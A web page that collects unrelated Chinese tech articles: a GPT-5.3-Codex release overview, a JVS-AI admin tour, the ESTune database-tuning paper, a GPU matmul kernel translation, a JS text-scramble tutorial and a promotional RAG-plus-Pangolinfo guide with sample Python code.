包含关键字 typecho 的文章

如果把写代码比作开车,那过去很多“AI 编程助手”更像:你把目的地一口气说完,它闷头把方向盘打到底——中途你想改路线?对不起,它要么装没听见,要么直接“重新规划(并把你刚才说的忘了)”。🙃

GPT-5.3-Codex 的核心变化,就是把 Codex 从“会写代码的工具”往“能在电脑上持续做事的同事”推了一大步:更能扛长任务、更会用工具、更像人在协作,而且 整体速度还提升了 25%

image


1)强强联合跑得更快

GPT-5.3-Codex 被定位为“目前最强的 agentic coding 模型”,它把两条能力线合流了:

  • 继承 GPT-5.2-Codex 的前沿编程能力
  • 叠加 GPT-5.2 的推理与专业知识能力
    并且在 Codex 场景下 加速 25%,更适合研究+工具调用+复杂执行的长流程任务。

更“离谱但合理”的一句是:这次模型还是第一个在研发过程中“帮忙造自己”的版本——早期模型被用来协助调试训练、管部署、诊断评测与结果分析。
(翻译成人话:研发团队已经开始被自家模型“反向加班”了😅)

image


2)四个基准

OpenAI 把 GPT-5.3-Codex 的“能打”主要落在四个评测维度上:SWE-Bench Pro、Terminal-Bench、OSWorld、GDPval。

2.1 写代码:SWE-Bench Pro 刷到行业新高

SWE-Bench Pro 更偏真实工程,更“抗投喂”,而且覆盖多语言(不像 SWE-bench Verified 主要测 Python)。GPT-5.3-Codex 在这上面拿到 SOTA。

image

2.2 终端能力:Terminal-Bench 2.0 直接拉开差距

对“能跑命令、会看输出、能修到测试过”为核心的编码代理来说,终端能力几乎等于执行力。GPT-5.3-Codex 在 Terminal-Bench 2.0 上也明显领先,并且强调“用更少 token 做更多事”。

image

2.3 会用电脑:OSWorld-Verified 进步幅度更直观

OSWorld 是“在桌面环境里完成生产力任务”的评测,需要视觉与操作的组合能力。文中提到 OSWorld-Verified 里人类大概 ~72%,而 GPT-5.3-Codex 相比之前的 GPT 系列显著更强。

2.4 真实职业工作:GDPval 继续保持强势

GDPval 是 OpenAI 2025 年发布的“职业知识工作评测”,覆盖 44 种职业任务(做表格、做演示、写方案等)。GPT-5.3-Codex 在 GDPval 上与 GPT-5.2 表现匹配。


3)最像“同事”的升级

以前的代理体验,经常像“把需求扔进黑盒”:你只能等它吐一个最终结果,然后祈祷别偏题。

GPT-5.3-Codex 主打的交互变化是:

  • 更频繁的进度更新(关键决策、进展可见)
  • 工作过程中可被“steer”(你可以中途提问、讨论方案、纠偏)
  • 不中断上下文(不会因为你插话就失忆)

这对真实工程特别重要:复杂任务不是一次性写完,而是“边做边发现、边改边收敛”。一个能被监督、能被纠偏、还能保持上下文的代理,才更像团队里能长期合作的“靠谱人”。


4)Web 开发:从“能做页面”到“默认更像上线版”

文章里拿了一个很具体的对比:同样是“做一个 SaaS 风 landing page”,GPT-5.3-Codex 会默认补齐更多“产品级细节”,比如:

  • 年付价格展示会更像真实商业产品的“折算月价”,折扣表达更自然
  • 自动轮播的 testimonial 会给多条不同用户引用,而不是敷衍一条
  • 对“简单或不充分的提示词”会给出更合理的默认功能与结构

这类提升的意义是:你不再需要把“常识型产品细节”写成 100 条 checklist,模型会更主动把页面往“能投产”的方向推。


5)一个截图,说明它不止会写代码:它还能产出职业级工件

下面这张来自官方示例的输出截图(金融顾问做 10 页内部培训 PPT)很好地传递了信号:GPT-5.3-Codex 的定位并不只是在 IDE 里敲补丁,而是能把“专业知识工作”也接过去做。

image


6)安全与网络安全:能力更强,所以防护也更“重装”

文章里明确说:GPT-5.3-Codex 是第一个在“Preparedness Framework(准备框架)”下被归类为网络安全任务 “High capability” 的模型,并且也是第一个被直接训练来识别软件漏洞的版本。

这类表述通常意味着两件事同时发生:
1)模型在安全相关任务上确实更强(对防守方是好事)
2)因为双用途风险更高,部署会更谨慎、更强调监测、访问控制与执行管道(对生态是必要的“刹车系统”)

同时,他们还提到:在生态侧会推进更多防护与合作,包括 Trusted Access for Cyber 试点、以及与开源维护者合作做代码库扫描等。


7)最直观的“成绩单”:5.3 在几个关键项上确实全面抬升

官方附录给了同一推理强度(xhigh)下的对比数据:

MetricGPT-5.3-Codex (xhigh)GPT-5.2-Codex (xhigh)GPT-5.2 (xhigh)
SWE-Bench Pro (Public)56.8%56.4%55.6%
Terminal-Bench 2.077.3%64.0%62.2%
OSWorld-Verified64.7%38.2%37.9%
GDPval (wins or ties)70.9%70.9% (high)
Cybersecurity CTF Challenges77.6%67.4%67.7%
SWE-Lancer IC Diamond81.4%76.0%74.6%

有意思的是:SWE-Bench Pro 的提升是“细微但领先”,但 Terminal-Bench 与 OSWorld 的跃迁更夸张——这也符合它“更像电脑上的通用代理”的叙事:不只是写代码更强,而是执行链路更完整。


8)可用性:哪里能用?API 呢?

目前它已经覆盖 Codex 的主要入口:App、CLI、IDE 扩展、Web,并且属于付费 ChatGPT 计划可用;API 方面则是“正在安全推进”。


结尾:从“写得对”到“做得完”,这才是代理真正的分水岭

很多人对编程模型的期待,早就不是“给我生成一段代码”,而是:

  • 能读懂工程上下文
  • 能跑工具、能看结果
  • 能迭代修到通过
  • 还能接受人类随时插话纠偏
  • 最后交付一个可审查、可落地的成果

GPT-5.3-Codex 这一波更新,最本质的变化其实是:Codex 正在从“编码代理”升级为“电脑上的通用协作体”。
它会写、会跑、会做表、会做 PPT、会追进度、还能被你实时指挥——这才更像团队里那个让人放心把活交出去的同事:不神神叨叨、不给惊喜吓人、能把事情做完


喜欢就奖励一个“👍”和“在看”呗~

image

AI浪潮席卷各行各业的今天,如何高效、安全且智能地运用 AI 技术,是每个企业关注的焦点。对于企业而言,肯定想拥有一套功能强大、配置灵活的 AI 后台管理系统,既能轻松驾驭各类 AI 模型,又能巧妙管理知识、技能,还能严格把控内容安全和访问权限的企业级AI应用。
JVS-AI 后台为您提供了一个开箱即用的企业级AI能力中枢。它涵盖会话配置与场景配置两大核心板块,从模型管理到提示词库,从知识管理到技能编排,再到敏感词过滤与 IP 白名单设置,还可以将AI能力深度集成到ERP、OA系统中,全方位满足你的 AI 应用需求。
JVS-AI后台主要包含会话配置和场景配置两个,其中AI会话配置涉及模型管理、提示词库、知识管理、技能管理、敏感词管理和IP白名单。场景配置则是配置自定义场景在JVS平台发布通过网页连接使用或在自己的业务系统中通过API调用。
如下图,用户登陆JVS平台点击①进入AI后台。
图片

模型管理

AI模型部署与版本控制
图片
列表形式展示
图片
点击查看模型展示相应统计,如下图
图片

提示词库

提示词库用于存储和管理结构化提示模板信息,它允许用户创建、编辑、查看和删除提示词,来管理提升AI交互的效率和效果。
图片

知识管理

知识管理是用于管理存储知识文档,并解析生成问题,对问题的统计管理,同时支持问题的命中测试,最后将分散的信息转化为结构化知识问题,为AI模型提供高质量的知识支撑,提升系统的智能水平。
图片
知识文档列表如下图
图片
命中测试如下图
图片
解析生成的问题列表
图片

技能管理

技能管理目前展示已经定义组合编排的模块。它将原子化的AI能力(如文本生成、图像识别、数据分析等)封装为可复用、可编排的“技能”,并通过组合形成更复杂的智能工作流。
图片

敏感词管理

敏感词管理用于识别、过滤、监控和管理敏感内容的安全控制模块。它通过建立多层次、多维度的敏感词库和检测机制,确保AI生成内容和用户输入内容符合法律法规、平台政策和道德规范。
图片

IP白名单

IP白名单是AI系统中基于IP地址的访问控制机制,用于限制系统资源仅对授权的IP地址或IP段开放访问。这是一种重要的网络安全防护手段,通过最小权限原则降低系统暴露面。
图片
在线demo:https://ai.bctools.cn
开源框架:https://gitee.com/software-minister/jvs

摘要:
OceanBase联合河南师范大学软件学院与华东师范大学数据科学与工程学院撰写的ESTune论文被数据库领域顶级会议 SIGMOD 2026录用。通过对性能不佳的配置引入早停机制,ESTune 成功打破了迭代式数据库调优中的效率瓶颈。具体而言,ESTune 结合贝叶斯网络,利用部分执行数据(即分段性能指标)对低效配置的最终性能进行可靠预测。

日前,由河南师范大学软件学院,华东师范大学数据科学与工程学院与OceanBase团队联合撰写的论文《ESTune: Bayesian Uncertainty-Guided Early Stopping for Database Configuration Tuning》被数据库领域顶级会议 SIGMOD 2026(Proceedings of the ACM on Management of Data)录用。

SIGMOD 是 ACM 旗下的年度会议,是数据库领域公认的权威会议。本论文针对现有数据库旋钮调优方法效率低下的痛点,提出了一种基于贝叶斯不确定性引导的早停(即 Early Stopping)框架——ESTune 。

该论文的录用,标志着数据库参数自动调优领域在效率提升上取得了突破性进展。该方法通过解决利用部分工作负载数据可靠预测低效配置性能的技术难题,成功在不牺牲调优有效性的前提下,显著加速了现有方法的调优效率。

以下为论文介绍:

问题

尽管现有的自动化调优方法(如 OtterTune、HUNTER 等)能够实现数据库性能的显著提升,但它们普遍面临一个致命瓶颈:调优效率低下。这些方法在每轮参数性能评估时都需要完整运行整个工作负载,导致评估成本高昂且固定。而获取一个满意的参数配置通常需要数百次迭代,因此造成整体调优周期极为冗长,这样严重制约了自动化调优技术的实际应用和推广。

目前的自动化参数通常采用全量评估模式(即为每个配置都完整运行整个工作负载)。然而这种评估模式存在固有的局限性与显著的改进潜力。

该观点主要基于以下两个关键观察:

1.探索与利用的权衡导致性能波动。调优过程中会产生大量性能不佳的配置,这些配置往往占据了大量的评估时间。

2.对差配置的评估无需极其精确。对于表现极差的配置,即使评估存在一定误差(例如在 85%-115% 范围内波动),也不会影响最终调优结果的有效性。

基于此,该论文提出了 ESTune,其核心理念是:对性能不佳的参数配置实施早停策略,即无需完整运行整个工作负载;随后,ESTune 利用可靠的预测性能替代这些早停配置的最终性能。

通过这种方式,ESTune 不仅保证了调优的有效性,而且减少了不佳配置的评估时间,从而提升了调优效率。

核心技术一:分段式性能监控与最优粒度切分

工作负载通常被划分为基于时间和基于数量两种类型。

基于时间的工作负载常见于具有大量短查询的 OLTP 场景。对于此类工作负载,ESTune 将其执行过程划分为固定数量的时间段,并记录每个段的性能指标。例如,对于一个总执行时长为 500 秒的工作负载 TPC-C,若其执行过程被划分为 10 个时间段,则收集器将在每 50 秒的时间间隔内记录一次吞吐量。

基于数量的工作负载常见于查询数量较少但耗时较长的 OLAP 场景。对于此类工作负载,ESTune 会按预设的查询语句数量进行分段,并记录每个分段的性能指标。例如,对于一个由 22 个查询语句组成的工作负载 TPC-H,若其被分段为 22 个部分,则 ESTune 将记录针对每个查询语句的性能。

核心技术二:基于混合贝叶斯神经网络的性能预测

为了准确预测早停配置的数据库性能,ESTune 设计了混合贝叶斯神经网络(即HBNN),其整体架构如图 1 所示。

具体来说,GRU 处理由段性能数据组成的数据序列。S1,S2,…,Sl。

FNN 用来处理n个参数的取值 V1,V2, …,Vn。

BNN 则结合了 GRU 和 FNN 的输出,并预测该配置性能的均值和方差。

图1:HBNN的整体架构

核心技术三:基于 MAML 的少样本快速适应技术

由于数据库参数调优通常期望在短时间内获得满意的结果,因此只能进行有限次的迭代。然而,神经网络又通常需要依赖大量的训练数据来微调参数,以防止过拟合并实现良好的学习与泛化能力。

为了应对这一挑战,ESTune集成了MAML(Model-Agnostic Meta-Learning)算法。

该算法通过在历史调优任务上进行元训练,学习出一组优秀的初始化超参数。这使得 HBNN 能够快速适应新的调优任务,即使在“冷启动”场景下,也能通过少量迭代迅速收敛。

性能成果

论文在 MySQL 8.0 和 PostgreSQL 12.12 两个主流数据库系统上进行了广泛评估,使用了包括 TPC-C 和 TPC-H 在内的多种工作负载。实验对象涵盖了 BestConfig, OtterTune, HUNTER, LlamaTune (SMAC), OpAdviser, OBTune 和 GPTuner 等多种最先进的参数调优方法。

实验对比了这些现有方法及其集成 ESTune 后的增强版本(即ES_*)的性能。图2、图 3 和图 4 分别展示了不同场景下的调优结果,实验数据一致显示:ESTune 大幅增强了这些基线方法的调优效率。

图 2:MYSQL 在 TPC-C 工作负载上的调优结果

图 3:MYSQL 在 TPC-H 工作负载上的调优结果

图 4:PostgreSQL 在 TPC-C 工作负载上的调优结果

小结与展望

通过对性能不佳的配置引入早停机制,ESTune 成功打破了迭代式数据库调优中的效率瓶颈。具体而言,ESTune 结合贝叶斯网络,利用部分执行数据(即分段性能指标)对低效配置的最终性能进行可靠预测。

未来的工作将围绕 ESTune 在复杂动态环境下的应用展开:一是探索框架负载漂移场景下的泛化能力;二是将其扩展至云原生数据库,以支持同时优化性能、成本和稳定性的多目标调优。

欢迎访问 OceanBase 官网获取更多信息:https://www.oceanbase.com/

本文是文章:Inside NVIDIA GPUs: Anatomy of high performance matmul kernels 的翻译版。本篇文章翻译将分为四个部分,本文是第三部分。

第一、二部分参考文章:
深入 NVIDIA GPU:高性能矩阵乘法算子解构(一)
深入 NVIDIA GPU:高性能矩阵乘法算子解构(二)

设计近乎 SOTA 的同步矩阵乘法内核

在本章中,我们将解构一个在以下限制条件下接近 SOTA 的 fp32 内核:
无 TMA无异步内存指令无张量核心 (Tensor Cores)仅限 fp32(无 bf16)
换句话说,这是在 Volta 架构之前的 GPU 模型下的 SOTA(在 Volta/Ampere 上也接近 SOTA):
Volta 引入了张量核心。Ampere 引入了异步内存指令。Hopper 引入了 TMA。
我们将学习的技术称为线程束平铺(warp-tiling)。

在深入研究之前,让我们对之前的内核进行微小的修改,看看会发生什么。具体来说,我们将改变 row 和 col 变量的计算方式。

原始版本:

const int row = blockIdx.x * BLOCKSIZE + (threadIdx.x / BLOCKSIZE);

修改版本:

const int row = blockIdx.x * BLOCKSIZE + (threadIdx.x % BLOCKSIZE);

换句话说,我们只是交换了 % 和 / 运算符。

交换 row 和 col 是与前一示例相比在逻辑结构上唯一的改变:

图片

图 24:row 和 col 变量的新逻辑组织
以下是修改后的内核现在的表现:

图片

图 25:具有非合并(uncoalesced)GMEM 访问的朴素内核

这个看似无害的微调使得我们的 GMEM 访问变得非合并。

在我的 H100 PCIe 卡上,性能从 3171 GFLOP/s 骤降至仅 243 GFLOP/s——慢了 13 倍。这正是我们之前在 GMEM 章节中看到的惩罚(Stephen Jones 的跨步 GMEM 访问实验)。

从外部看,这只是两个运算符之间微不足道的交换。但如果你没有硬件的认知模型,你永远不会预料到如此戏剧性的影响。

图片

图 26:屋顶线模型(Roofline Model)

观察屋顶线模型,你可以看到我们的内核深陷于图中的内存带宽受限(memory-bandwidth-bound)区域。我们为算力付给 NVIDIA 大笔资金,所以我们理应瞄准计算受限(compute-bound)区域。

📝 屋顶线模型 (Roofline Model)

屋顶线模型在 y 轴上绘制性能 (FLOP/s),在 x 轴上绘制算术强度 (Arithmetic Intensity, AI)。

算术强度定义为:每从设备内存/GMEM 加载一个字节所执行的浮点运算次数(默认情况下)。

“脊点”(ridge point)出现在:峰值性能 / GMEM 带宽。对于我的 H100 PCIe,这个数值大约是 410。只有当算术强度超过这个值时,内核才能进入计算受限状态。
在继续之前,让我们重新审视一下串行矩阵乘法代码。供参考:for (int m = 0; m < M; m++) {我想在这里强调的关键点是:语义对循环顺序是不变量。换句话说,我们可以将这三个嵌套循环以 3! = 6 种方式中的任何一种进行置换,结果仍然是一个正确的矩阵乘法。

在这六种置换中,最有趣的是将 K 放在最外层的顺序。(m 和 n 的相对顺序较不重要,所以让我们假设“规范的” m-n 顺序):for (int k = 0; k < K; k++) {如果这些加载来自 GMEM,通过将 A 的加载次数从N^3 减少到 N^2,我们刚刚节省了大约 2x 的带宽。

但更重要的洞察是算法层面的:这个版本将矩阵乘法计算为外积的偏部分和(partial sum of outer products)。这种视角对于理解我们接下来要深入探讨的线程束平铺(warp-tiling)方法至关重要。

图片

图 27:矩阵乘法作为部分外积之和

这可能显而易见,但值得强调:一个点积等同于多个部分点积之和:
图片
图 28:点积等同于部分点积之和

这很重要,因为它允许我们将计算分解为一系列块矩阵乘法(block matmuls)(每个块产生部分点积)。通过在执行计算之前将这些块移动到 SMEM 中,我们可以减少 GMEM 流量并显著提高速度。

如果不进行分块(chunking),我们根本无法将其放入 SMEM 内部。

还请回想一下,我们最初的内核算术强度非常低——它们在加载每个字节时完成的工作很少。为了改进这一点,我们需要:

  1. 每个线程计算多个输出元素。2. 使输出分块(tiles)尽可能接近正方形。这里有一个视觉直觉,解释了为什么这很重要:

图片
图 29:当每个线程计算多个输出且分块接近正方形时,算术强度会提高

至此,我们已经收集了理解线程束平铺(warp-tiling)所需的大部分拼图。让我们把它们拼在一起。

我们知道两件关键的事:输出分块应该是正方形的(以最大化算术强度)。计算应该分解为子步骤,以便中间块可以放入 SMEM。
考虑到这一点,算法的高层结构如下所示:

图片

图 30:线程束平铺算法的高层结构,也称为块平铺(block tiling)

参考代码在这里:
https://github.com/siboehm/SGEMM_CUDA/blob/master/src/kernels/10_kernel_warptiling.cuh。我建议先从我的图表开始,然后打开代码将所有要点连接起来。

📝 注意:
我将使用与 Simon 博客文章中相同的分块大小(未针对我的 H100 进行自动调优):
Bm = Bn = 128, Bk = 16
由于每个块的计算是独立的——而且我们已经确信部分点积可以累加为完整的点积——我们只需要关注单个块的单个步骤。其余部分(另外 1023 个块,4096/128 4096/128 = 3232 = 1024 总计)将遵循相同的逻辑。

📝 给自己的笔记:
出于某种原因,我很难忽略其他的块。所以,念咒语时间:“其他一切都是正确的;我只需要专注于下一步。局部正确性导致全局正确性。” :)

带着这种心态,让我们放大到蓝色块的第一步(红箭头转换前的计算),它对应于输出分块 C[0,0](注意是分块,而不是单个元素)。

矩阵 A的分块维度为 Bm × Bk,矩阵 $B$ 的分块维度为 Bk × Bn。这些数据被加载到 SMEM 缓冲区 As 和 Bs 中。

加载/存储 B \to Bs 是很直接的,因为 Bs 没有经过转置。4 个线程束中的每一个都从 GMEM 抓取 B 的一行,每个线程发布一次向量化加载(LDG.128),随后执行一次向量化存储(STS.128)。每个线程束循环 4 次,步长为 4 行。

对应代码(我增加了注释并删除了 Simon 注释掉的代码):

for (uint offset = 0; offset + rowStrideB <= BK; offset += rowStrideB) {

图片

图 31:将 B 的分块(GMEM)加载到 Bs(SMEM)中

加载 A \to As。这一步更棘手,因为 As 是经过转置的。转置的原因是它允许在随后的计算阶段进行向量化加载(LDS.128)。

权衡之处在于存储无法向量化:从 A 的一行中提取的 4 个浮点数现在必须离散地存入 As 的一列中,而这一列映射到了同一个内存银行(bank)。这是可以接受的,因为我们优先考虑快速加载——在计算过程中,As 的每个元素会被多次访问,而存储仅发生一次。

图中的 innerRowX 和 innerColX 注解准确展示了每个线程负责的工作。

对应代码:

for (uint offset = 0; offset + rowStrideA <= BM; offset += rowStrideA) {

图片
图 32:将 A 的分块(GMEM)加载到 As(SMEM)中(1)(2)

加载完成后,我们同步线程块(__syncthreads()),以确保所有数据在 As 和 Bs 中均已就绪。

现在进入计算阶段。

对应代码(建议扫视一下代码,并在代码与绘图之间进行几次对照阅读):

for (uint dotIdx = 0; dotIdx < BK; ++dotIdx) {

图片

图 33:将 As 和 Bs 之间的矩阵乘法执行为一系列线程级外积(线程束平铺 + 线程平铺)

一旦分块处理完毕,我们再次同步。这可以防止竞争条件——如果没有它,一些线程可能会开始将下一个分块写入 As 和 Bs,而其他线程仍在处理当前分块。

同步后,我们将 A 和 B 的指针推进 Bk 距离,算法重复执行直到所有分块处理完毕。

A += BK;     // 将 BK 列向右移动

最后,一旦循环完成,128 个线程将其私有的 threadResults 寄存器刷入矩阵 C 对应的输出分块中(此时该分块已包含完整的点积结果!)。

在实践中,你会针对特定的 GPU 对该算法的参数进行自动调优。但正如前面指出的,这种风格的内核已不再是首选方法——现代 GPU 拥有异步内存机制和张量核心(Tensor Cores),能将性能推向远超单靠线程束平铺所能达到的水平。

接下来,让我们转向 Hopper 上的真正 SOTA。

📝 下一章的补充阅读:
我强烈推荐 Pranjal 的优秀博文 [15],它读起来更像是一份工作日志。在本章中,我将遵循他日志中的内核。与 Simon 的工作一样,大部分代码似乎也受到了 CUTLASS 的启发(例如这些帖子:CUTLASS ping pong 内核 [16] 和高效 GEMM)。

值得注意的是,细节决定成败,Pranjal 成功超越了 cuBLAS SOTA——在一些目标矩阵维度上达到了 cuBLAS 性能的约 107%。

图片

达坦科技始终致力于打造高性能AI+Cloud基础设施平台,积极推动AI应用的落地。达坦科技通过软硬件深度融合的方式,提供AI推理引擎和高性能网络,为AI应用提供弹性、便利、经济的基础设施服务,以此满足不同行业客户对AI+Cloud的需求。

公众号:达坦科技DatenLord
DatenLord官网:https://datenlord.github.io/zh-cn/
知乎账号:https://www.zhihu.com/org/da-tan-ke-ji
B站:https://space.bilibili.com/2017027518
邮箱:info@datenlord.com

如果您有兴趣加入达坦科技Rust前沿技术交流群、硬件敏捷开发和验证方法学讨论群或AI Infra 交流群,请添加小助手微信:DatenLord_Tech

不知道大家有没有见过这种高级感满满的导航效果:鼠标悬停在导航文字上,文字会先变成乱码一样的随机字符,再慢慢还原成原本的样子,低调又有设计感。

这种效果不用复杂的框架,纯原生JS+CSS就能实现,不管是用在个人博客、官网导航,还是按钮交互上,都能瞬间提升页面质感。今天就把完整教程+带注释源码分享给大家,新手也能直接复制使用。

先简单说下核心逻辑:给导航a标签绑定鼠标悬停事件,悬停时通过定时器,让文字从第一个字符开始,逐步将随机字符替换为原始文本,达到“打乱→还原”的动态效果,CSS则负责页面布局和hover时的颜色变化,整体实现起来非常简单。

完整源码

HTML文件(index.html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>使用 Javascript 实现文本打乱效果</title>
    <link rel="stylesheet" href="./style.css">
</head>
<body>
    <ul>
        <li><a href="#" data-text="Home"></a></li>
        <li><a href="#" data-text="About">About</a></li>
        <li><a href="#" data-text="Hover To Scramble Me">Hover To Scramble Me</a></li>
        <li><a href="#" data-text="Services">Services</a></li>
        <li><a href="#" data-text="Our Team">Our Team</a></li>
        <li><a href="#" data-text="Contact Us">Contact Us</a></li>
    </ul>

    <script>
        document.querySelectorAll('ul li a').forEach(element => {
            let randomChars = "!@#$%^&*()_+-<>?";
            let originalText = element.dataset.text;

            element.addEventListener('mouseover', () => {
                let iterations = 0;
                let interval = setInterval(() => {
                    element.textContent = originalText.split("").map(
                        (char, index) => {
                            if (index < iterations) return char;
                            return randomChars.charAt(Math.floor(Math.random() * randomChars.length));
                    })
                    .join("");
                    if (iterations >= originalText.length) {
                        clearInterval(interval);
                    }
                    iterations += 1/ 3;
                },50)
            })
        })
    </script>
</body>
</html> 

CSS文件(style.css)

/* 初始化页面样式,清除默认边距,避免布局错乱 */
*{
  margin: 0;
  padding: 0;
  box-sizing: border-box;
}

/* 页面主体样式:让导航栏垂直居中显示 */
body {
  display: flex;
  justify-content: center; /* 水平居中 */
  align-items: center; /* 垂直居中 */
  min-height: 100vh; /* 让body占满整个屏幕高度 */
  background: #222; /* 深色背景,突出白色文字和绿色hover效果 */
}

/* 导航列表样式:垂直排列,居中显示 */
ul {
  position: relative;
  display: flex;
  flex-direction: column; /* 垂直排列导航项 */
  text-align: center; /* 文字水平居中 */
}

/* 清除列表默认圆点 */
ul li {
  position: relative;
  list-style: none; /* 去掉li前面的圆点 */
}

/* 导航链接样式:美化文字 */
ul li a {
  position: relative;
  font-size: 3em; /* 文字大小,可修改 */
  color: #fff; /* 默认文字白色 */
  text-decoration: none; /* 去掉下划线 */
  letter-spacing: 0.05em; /* 文字间距,增加高级感 */
  cursor: pointer; /* 鼠标放上去显示手型 */
  transition: 0.5s; /* 颜色过渡,让hover颜色变化更柔和 */
}

/* 鼠标悬停时,文字变绿色(可自行修改颜色) */
ul li a:hover{
  color: #69ff41;
}

使用说明(新手必看)

  1. 新建两个文件,分别命名为 index.htmlstyle.css ,放在同一个文件夹里;
  2. 把上面对应的代码复制到两个文件中,保存后,用浏览器打开 index.html ,就能看到效果;
  3. 可自行修改的地方:
  • 随机字符:修改JS里的randomChars,比如添加字母、数字,打乱效果更丰富;
  • 颜色:修改CSS里的background(背景色)和hover时的color(文字颜色);
  • 速度:修改JS里的定时器间隔(50)和iterations增加的数值(1/3),数值越大,还原越快;
  • 导航文本:修改a标签的data-text和标签内的文本,替换成自己需要的导航内容。

这个效果的核心就是“定时器+字符遍历替换”,没有复杂的语法,复制源码就能用,不管是练手还是实际项目中使用,都非常合适。大家可以根据自己的需求修改样式,打造属于自己的专属导航特效

本文由mdnice多平台发布

TL;DR: 通过RAG技术+Pangolinfo API,我把AI亚马逊助手的准确率从45%提升到95%,效率提升60%,成本节省93%。本文包含完整代码和部署方案。

📌 核心要点

  • 问题: AI经常瞎编亚马逊数据,准确率仅45%
  • 解决方案: RAG架构 + 真实数据API
  • 📊 效果: 准确率95%,效率提升60%
  • 💰 成本: 从$60K/年降至$4.2K/年(节省93%)
  • ⏱️ 阅读时间: 8分钟

🔥 为什么你的AI总是瞎编?

快速诊断

# 测试你的AI
questions = [
    "ASIN B08XYZ123的BSR排名?",
    "这个产品的价格趋势?",
    "主要竞品是谁?"
]

# 如果AI给出的答案是编造的 → 你需要RAG

3个根本原因

原因影响解决方案
训练数据过时35%准确率接入实时数据
缺乏领域知识40%准确率专业数据源
无法访问外部数据38%准确率RAG架构

💡 解决方案:RAG架构

AI产生幻觉的三大原因

什么是RAG?

RAG架构示意图

传统AI: 问题 → AI猜测 → 可能瞎编
RAG:    问题 → 检索真实数据 → AI基于事实回答

核心流程

graph LR
    A[用户提问] --> B[检索数据]
    B --> C[Pangolinfo API]
    C --> D[向量数据库]
    D --> E[AI生成]
    E --> F[准确回答]

🛠️ 快速实现(5分钟上手)

API集成流程图

步骤1: 安装依赖

pip install openai pinecone-client requests langchain

步骤2: 核心代码

from openai import OpenAI
import pinecone
import requests

# 1. 获取亚马逊数据
def get_amazon_data(asin):
    response = requests.get(
        "https://api.pangolinfo.com/scrape",
        params={
            "api_key": "YOUR_KEY",
            "asin": asin,
            "type": "product"
        }
    )
    return response.json()

# 2. 存储到向量数据库
def store_data(product_data):
    client = OpenAI(api_key="YOUR_KEY")
    
    # 生成向量
    text = f"ASIN: {product_data['asin']}, BSR: {product_data['bsr_rank']}, Price: ${product_data['price']}"
    embedding = client.embeddings.create(
        model="text-embedding-ada-002",
        input=text
    ).data[0].embedding
    
    # 存储
    index = pinecone.Index("amazon-data")
    index.upsert([(product_data['asin'], embedding, {"text": text})])

# 3. RAG查询
def ask_ai(question):
    client = OpenAI(api_key="YOUR_KEY")
    
    # 检索相关数据
    query_embedding = client.embeddings.create(
        model="text-embedding-ada-002",
        input=question
    ).data[0].embedding
    
    index = pinecone.Index("amazon-data")
    results = index.query(vector=query_embedding, top_k=5, include_metadata=True)
    
    # 构建上下文
    context = "\n".join([match['metadata']['text'] for match in results['matches']])
    
    # AI回答
    response = client.chat.completions.create(
        model="gpt-4",
        messages=[
            {"role": "system", "content": "基于提供的真实数据回答,不要编造。"},
            {"role": "user", "content": f"数据:\n{context}\n\n问题:{question}"}
        ]
    )
    
    return response.choices[0].message.content

# 使用
data = get_amazon_data("B08XYZ123")
store_data(data)
answer = ask_ai("这个产品的竞争力如何?")
print(answer)

📊 效果对比

AI性能对比图

Before vs After

指标优化前优化后提升
准确率45%95%+111%
BSR数据35%98%+180%
价格信息55%99%+80%
响应时间5s2s-60%
成本/月$5,000$350-93%

真实案例

问题: "ASIN B08XYZ123的竞争情况?"

❌ 优化前:
"该产品BSR排名约5000,竞争中等..."
(完全编造)

✅ 优化后:
"根据最新数据(2026-02-06):
- BSR: #3,247 (Kitchen & Dining)
- 价格: $24.99
- 评分: 4.6星 (2,847评论)
- 主要竞品: ASIN B07ABC456 (BSR #2,891)"
(100%真实)

⚡ 性能优化技巧

1. 多级缓存

# L1: 内存缓存(最快)
from functools import lru_cache

@lru_cache(maxsize=1000)
def get_cached_data(asin):
    return get_amazon_data(asin)

# L2: Redis缓存
import redis
r = redis.Redis()

def get_with_cache(asin):
    cached = r.get(f"product:{asin}")
    if cached:
        return json.loads(cached)
    
    data = get_amazon_data(asin)
    r.setex(f"product:{asin}", 3600, json.dumps(data))
    return data

2. 批量处理

from concurrent.futures import ThreadPoolExecutor

def batch_sync(asins):
    with ThreadPoolExecutor(max_workers=5) as executor:
        executor.map(sync_product, asins)

# 使用
asins = ["B08XYZ123", "B07ABC456", "B09DEF789"]
batch_sync(asins)

3. 异步更新

from celery import Celery

app = Celery('tasks', broker='redis://localhost')

@app.task
def async_update(asin):
    data = get_amazon_data(asin)
    store_data(data)

# 定时任务
@app.on_after_configure.connect
def setup_periodic_tasks(sender, **kwargs):
    # 每小时更新
    sender.add_periodic_task(3600.0, async_update.s('B08XYZ123'))

🚀 一键部署

Docker方式

# Dockerfile
FROM python:3.10-slim
WORKDIR /app
COPY requirements.txt .
RUN pip install -r requirements.txt
COPY . .
CMD ["uvicorn", "app:app", "--host", "0.0.0.0"]
# docker-compose.yml
version: '3.8'
services:
  app:
    build: .
    ports:
      - "8000:8000"
    environment:
      - OPENAI_API_KEY=${OPENAI_API_KEY}
      - PANGOLINFO_API_KEY=${PANGOLINFO_API_KEY}
  
  redis:
    image: redis:7-alpine
    ports:
      - "6379:6379"
# 启动
docker-compose up -d

💰 成本分析

方案对比

方案开发成本月成本年成本维护难度
自建爬虫$30,000$2,500$60,000⭐⭐⭐⭐⭐
第三方插件$5,000$800$14,600⭐⭐⭐
Pangolinfo API$3,000$100$4,200

节省: 93% 💰

实际使用成本

# 我的用量(月)
monthly_usage = {
    "产品数据": 1000,  # 1000个ASIN
    "评论数据": 500,   # 500个ASIN
    "搜索结果": 200,   # 200次搜索
}

# Pangolinfo API成本
cost_per_request = 0.01  # $0.01/请求
monthly_cost = (1000 + 500 + 200) * 0.01  # $17

# 加上OpenAI成本
openai_cost = 50  # $50/月

# 总成本
total = monthly_cost + openai_cost  # $67/月

🎯 最佳实践

1. Prompt优化

# ❌ 不好的Prompt
"分析这个产品"

# ✅ 好的Prompt
system_prompt = """
你是亚马逊运营专家。规则:
1. 只使用提供的数据
2. 数据不足时明确说明
3. 引用ASIN和时间戳
4. 给出可执行建议
"""

2. 数据更新策略

update_frequency = {
    "价格/库存": "1小时",
    "BSR排名": "2小时",
    "评论数据": "1天",
    "产品详情": "1周"
}

3. 错误处理

def safe_query(question, max_retries=3):
